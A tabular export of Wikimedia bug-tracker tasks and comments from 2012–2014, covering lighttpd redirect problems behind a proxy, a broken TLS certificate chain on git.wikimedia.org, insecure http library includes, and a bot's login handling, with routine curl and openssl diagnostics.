+277569,lighttpd redirects fail without a trailing slash,I filed bug #64627 for the https -> http issue.,,,1398809677,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,True,,,-62,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1
+277561,lighttpd redirects fail without a trailing slash,That is unrelated.  The proxy provides an X-FORWARDED-PROTO header which can be used by the application to construct URIs if it really must redirect between protocols.,,,1398802201,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,True,,,-62,True,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+277555,lighttpd redirects fail without a trailing slash,Not the same issue...,,,1398271151,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,False,,,-63,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+277548,lighttpd redirects fail without a trailing slash,"Unfortunately, this redirects from https to http, i. e.:
+
+| [tim@passepartout ~]$ lynx -mime_header -dump https://tools.wmflabs.org/matthewrbowker/cnrd
+| HTTP/1.1 301 Moved Permanently
+| Server: nginx/1.5.0
+| Date: Wed, 23 Apr 2014 15:28:21 GMT
+| Content-Length: 0
+| Connection: close
+| Location: http://tools.wmflabs.org/matthewrbowker/cnrd/
+
+| [tim@passepartout ~]$
+
+So we'll need to teach lighttpd about https (or rewrite redirects in nginx?).",,,1398267015,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,True,,,-63,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+277542,lighttpd redirects fail without a trailing slash,"(In reply to Jarry1250 from comment #4)
+> Reopening, behaviour seems to have reappeared following the change to a new
+> proxy setup.
+
+See bug 64058.",,,1397748726,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,False,,,-63,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+277537,lighttpd redirects fail without a trailing slash,"Reopening, behaviour seems to have reappeared following the change to a new proxy setup.",,,1397724691,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,False,,,-63,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+277532,lighttpd redirects fail without a trailing slash,Appears to work for me.  Thank you so much for fixing!,,,1394992614,,PHID-USER-vzo36k53hgat5bwuxsn5,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,True,,,-68,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+277527,lighttpd redirects fail without a trailing slash,This may appears to have been 'accidentally' fixed by turning ProxyPreserveHost On on the temporary apache proxies.,,,1394578560,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+277521,lighttpd redirects fail without a trailing slash,"For the record, links without trailing slashes are redirected to invalid (as seen from external world) host:
+
+$ curl -v http://tools.wmflabs.org/matthewrbowker/cnrd
+* Hostname was NOT found in DNS cache
+* Adding handle: conn: 0x1144c10
+* Adding handle: send: 0
+* Adding handle: recv: 0
+* Curl_addHandleToPipeline: length: 1
+* - Conn 0 (0x1144c10) send_pipe: 1, recv_pipe: 0
+*   Trying 208.80.153.201...
+* Connected to tools.wmflabs.org (208.80.153.201) port 80 (#0)
+> GET /matthewrbowker/cnrd HTTP/1.1
+> User-Agent: curl/7.34.0
+> Host: tools.wmflabs.org
+> Accept: */*
+> 
+< HTTP/1.1 301 Moved Permanently
+< Date: Sat, 08 Mar 2014 15:22:44 GMT
+* Server lighttpd/1.4.28 is not blacklisted
+< Server: lighttpd/1.4.28
+< Location: http://tools-webgrid-01:4058/matthewrbowker/cnrd/
+< Content-Length: 0
+< 
+* Connection #0 to host tools.wmflabs.org left intact",,,1394292244,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,False,,,-69,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+61910,curl https://git.wikimedia.org/ gives invalid certificate,"hashar@integration-selenium-driver:~$ curl https://git.wikimedia.org/
+curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
+error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
+More details here: http://curl.haxx.se/docs/sslcerts.html
+
+curl performs SSL certificate verification by default, using a ""bundle""
+ of Certificate Authority (CA) public keys (CA certs). If the default
+ bundle file isn't adequate, you can specify an alternate file
+ using the --cacert option.
+If this HTTPS server uses a certificate signed by a CA represented in
+ the bundle, the certificate verification probably failed due to a
+ problem with the certificate (it might be expired, or the name might
+ not match the domain name in the URL).
+If you'd like to turn off curl's verification of the certificate, use
+ the -k (or --insecure) option.
+hashar@integration-selenium-driver:~$
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1389374160,1389395319.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-gg44ewrw4yljbluhzlpz,task_description,resolved,True,c3,1,True,False,True,-77,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+276490,curl https://git.wikimedia.org/ gives invalid certificate,"Works for me, thanks Rob.",,,1389430382,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+276484,curl https://git.wikimedia.org/ gives invalid certificate,"Ok, So the two patchsets I submitted for this are linked in ticket here.  Turns out the wildcard rapidssl has two intermediate certificates, versus the non-wildcard rapidssl certs that use the single one we've had on cluster and in puppet for awhile.
+
+I've added the second cert to our repo and included it in use for misc-web-lb.eqiad.  Now curls return correctly, folks shouldn't be getting certificate errors anymore.",,,1389395319,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+276475,curl https://git.wikimedia.org/ gives invalid certificate,"Change 106842 merged by RobH:
+install rapidssl_ca_2.pem
+
+https://gerrit.wikimedia.org/r/106842",,,1389394794,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+276467,curl https://git.wikimedia.org/ gives invalid certificate,"Change 106842 had a related patch set uploaded by RobH:
+install rapidssl_ca_2.pem
+
+https://gerrit.wikimedia.org/r/106842",,,1389394656,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+276463,curl https://git.wikimedia.org/ gives invalid certificate,"Change 106785 merged by RobH:
+fixes star.wikimedia.org intermidite certificate chain
+
+https://gerrit.wikimedia.org/r/106785",,,1389393809,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+276458,curl https://git.wikimedia.org/ gives invalid certificate,"Change 106785 had a related patch set uploaded by RobH:
+fixes star.wikimedia.org intermidite certificate chain
+
+https://gerrit.wikimedia.org/r/106785",,,1389393647,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+276453,curl https://git.wikimedia.org/ gives invalid certificate,"And on my machine the chain is:
+
+Certificate chain
+ 0 s:/serialNumber=06QcQ9dUSZqu5ru7oQSfeCpXiBccrCyh/C=US/O=*.wikimedia.org/OU=GT11518520/OU=See www.rapidssl.com/resources/cps (c)10/OU=Domain Control Validated - RapidSSL(R)/CN=*.wikimedia.org
+   i:/C=US/O=GeoTrust, Inc./CN=RapidSSL CA
+ 1 s:/C=US/O=GeoTrust, Inc./CN=RapidSSL CA
+   i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
+ 2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
+   i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
+
+(correct)",,,1389391892,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+276447,curl https://git.wikimedia.org/ gives invalid certificate,"Trying on lanthanum:
+
+hashar@lanthanum:~$ openssl s_client -connect git.wikimedia.org:443
+...
+Certificate chain
+ 0 s:/serialNumber=06QcQ9dUSZqu5ru7oQSfeCpXiBccrCyh/C=US/O=*.wikimedia.org/OU=GT11518520/OU=See www.rapidssl.com/resources/cps (c)10/OU=Domain Control Validated - RapidSSL(R)/CN=*.wikimedia.org
+   i:/C=US/O=GeoTrust, Inc./CN=RapidSSL CA
+ 1 s:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority
+   i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority
+$
+
+Equifax is wrong, should be Geotrust :(",,,1389391595,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+276441,curl https://git.wikimedia.org/ gives invalid certificate,"Damn I was wrong! The job last success was Jan 8th 13:20 ,  first failure Jan 10th 3:37 UTC.",,,1389390688,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+276436,curl https://git.wikimedia.org/ gives invalid certificate,According to the history of Jenkins job https://integration.wikimedia.org/ci/job/mwext-browsertests-UniversalLanguageSelector-phantomjs/ (which uses https://git.wikimedia.org/ ). That stopped working between Dec 10 2013 17:15 and Dec 11 2013 13:40UTC.,,,1389390411,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+276431,curl https://git.wikimedia.org/ gives invalid certificate,"Found out the same issue on production machine lanthanum.eqiad.wmnet.  It is lacking the Rapid SSL CA cert:
+
+$ ll /etc/ssl/certs/*apid*
+ls: cannot access /etc/ssl/certs/*apid*: No such file or directory
+$
+
+No chained either since that machine never had any certificate installed.",,,1389390272,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+276424,curl https://git.wikimedia.org/ gives invalid certificate,"Change 106771 had a related patch set uploaded by Hashar:
+star.wikimedia.org cert chain fix
+
+https://gerrit.wikimedia.org/r/106771",,,1389386441,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+276417,curl https://git.wikimedia.org/ gives invalid certificate,"With curl in verbose mode:
+
+hashar@integration-selenium-driver:~$ curl -v https://git.wikimedia.org/
+* About to connect() to git.wikimedia.org port 443 (#0)
+*   Trying 208.80.154.241... connected
+* successfully set certificate verify locations:
+*   CAfile: none
+  CApath: /etc/ssl/certs
+* SSLv3, TLS handshake, Client hello (1):
+* SSLv3, TLS handshake, Server hello (2):
+* SSLv3, TLS handshake, CERT (11):
+* SSLv3, TLS alert, Server hello (2):
+* SSL certificate problem, verify that the CA cert is OK. Details:
+error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
+* Closing connection #0
+curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
+error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
+More details here: http://curl.haxx.se/docs/sslcerts.html
+
+curl performs SSL certificate verification by default, using a ""bundle""
+ of Certificate Authority (CA) public keys (CA certs). If the default
+ bundle file isn't adequate, you can specify an alternate file
+ using the --cacert option.
+If this HTTPS server uses a certificate signed by a CA represented in
+ the bundle, the certificate verification probably failed due to a
+ problem with the certificate (it might be expired, or the name might
+ not match the domain name in the URL).
+If you'd like to turn off curl's verification of the certificate, use
+ the -k (or --insecure) option.
+hashar@integration-selenium-driver:~$ 
+
+
+I guess labs is missing some certificates :(",,,1389374627,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+61630,wikitrends uses external library with http,"https://tools.wmflabs.org/wikitrends/2013.html includes a javascript-library from jquery.org using http. Some browsers (like chromium) refuse to load it for security reasons. Please make the include-url protocol-independent (://) or use https://.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1388798160,1388872993.0,PHID-USER-4nukugv22wnc3p6k557t,False,,False,PHID-TASK-dil34ibbeqj2draxiqei,task_description,resolved,True,c3,1,False,False,True,-78,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+260135,wikitrends uses external library with http,"**johan.gunnarsson** wrote:
+
+Fixed by making include-URL protocol-independent.",,,1388872961,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dil34ibbeqj2draxiqei,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+61613,DRTRIGON-133 support of coming https security upgrade,"This issue was converted from https://jira.toolserver.org/browse/DRTRIGON-133.
+Summary: support of coming https security upgrade
+Issue type: Improvement - An improvement or enhancement to an existing feature or task.
+Priority: Major
+Status: Reopened
+Assignee: drtrigon <dr.trigon@surfeu.ch>
+
+-------------------------------------------------------------------------------
+From: Herzi Pinki <herzi.pinki@aon.at>
+Date: Thu, 22 Aug 2013 20:26:42
+-------------------------------------------------------------------------------
+
+DrTrigonBot category discussion summary (https://toolserver.org/~drtrigon/cgi-bin/sum_cat_disc.py), although called via https, provides links with plain http protocol.
+
+For the upcoming security update, can your bot please use protocol relative urls? 
+
+see https://meta.wikimedia.org/wiki/HTTPS
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1388784900,1647205304.0,PHID-USER-hbffue25ov3attlvclze,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-pvxahzryelaebcbze4lm,task_description,declined,True,c3,1,False,False,False,-78,True,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+1879107,DRTRIGON-133 support of coming https security upgrade,Declining this task as this project is not active anymore. See T300969 for more information.,,,1647205304,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pvxahzryelaebcbze4lm,task_subcomment,,True,c3,3,True,,,349,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0
+281226,DRTRIGON-133 support of coming https security upgrade,"(In reply to comment #1)
+> -----------------------------------------------------------------------------
+> --
+> From: drtrigon <dr.trigon@surfeu.ch>
+> Date: Sun, 22 Sep 2013 10:18:36
+> -----------------------------------------------------------------------------
+> --
+> 
+> Solved in https://gerrit.wikimedia.org/r/#/c/85521/.
+> 
+> Please check it and re-open the ticket if there are some issues left.
+
+this is fixed for the case I mentioned in the bug report. Thanks a lot.",,,1388870718,,PHID-USER-cvjhvwd4dkky6b7a2tgi,False,,,PHID-TASK-pvxahzryelaebcbze4lm,task_subcomment,,True,c3,1,False,,,-78,True,1,0,0,1,0,0,1,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+281222,DRTRIGON-133 support of coming https security upgrade,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Sun, 22 Sep 2013 18:14:00
+-------------------------------------------------------------------------------
+
+Do this for all other cgi scripts as well!",,,1388784957,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pvxahzryelaebcbze4lm,task_subcomment,,True,c3,1,False,,,-78,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+281218,DRTRIGON-133 support of coming https security upgrade,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Sun, 22 Sep 2013 10:18:36
+-------------------------------------------------------------------------------
+
+Solved in https://gerrit.wikimedia.org/r/#/c/85521/.
+
+Please check it and re-open the ticket if there are some issues left.",,,1388784955,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pvxahzryelaebcbze4lm,task_subcomment,,True,c3,1,False,,,-78,True,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+61507,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"This issue was converted from https://jira.toolserver.org/browse/DRTRIGON-112.
+Summary: subster_irc bot forgets wiki login when accessing other mediawiki project
+Issue type: Bug - A problem which impairs or prevents the functions of the product.
+Priority: Major
+Status: Closed
+Assignee: drtrigon <dr.trigon@surfeu.ch>
+
+-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Tue, 17 Jan 2012 19:06:41
+-------------------------------------------------------------------------------
+
+When looking at the logfile from 2012-01-17 for following comments and later:
+
+> 2012-01-17 19:44:36,744 bot_control INFO Password for user DrTrigonBot on wikipedia:de:
+
+the subster bot (may be just when used by subster_irc...?!?) asks for the wiki password.  
+(look also at difflink in URL - which triggered the error in the logfile)
+
+We have to protect the bot from logging out when accessing foreign wikis!
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1388766060,1388766113.0,PHID-USER-hbffue25ov3attlvclze,False,,False,PHID-TASK-pmyczkslrwn6ds6odb6r,task_description,resolved,True,c3,1,False,False,True,-78,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+276154,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"
+This bug was imported as RESOLVED. The original assignee has therefore not been
+set, and the original reporters/responders have not been added as CC, to
+prevent bugspam.
+
+If you re-open this bug, please consider adding these people to the CC list:
+Original assignee: dr.trigon@surfeu.ch
+CC list: dr.trigon@surfeu.ch",,,1388766113,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+276148,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
+From: drtrigon <dr.trigon@surfeu.ch>
+Date: Thu, 16 Feb 2012 22:58:18
+-------------------------------------------------------------------------------
+
+updated analogue to rewrite; 'getUrl' moved/splitted to 'pywikibot.comms.http.request'  
+the generic one does not attempt to (re)login on the target if it is a wiki
+
+upstream r9901.
+
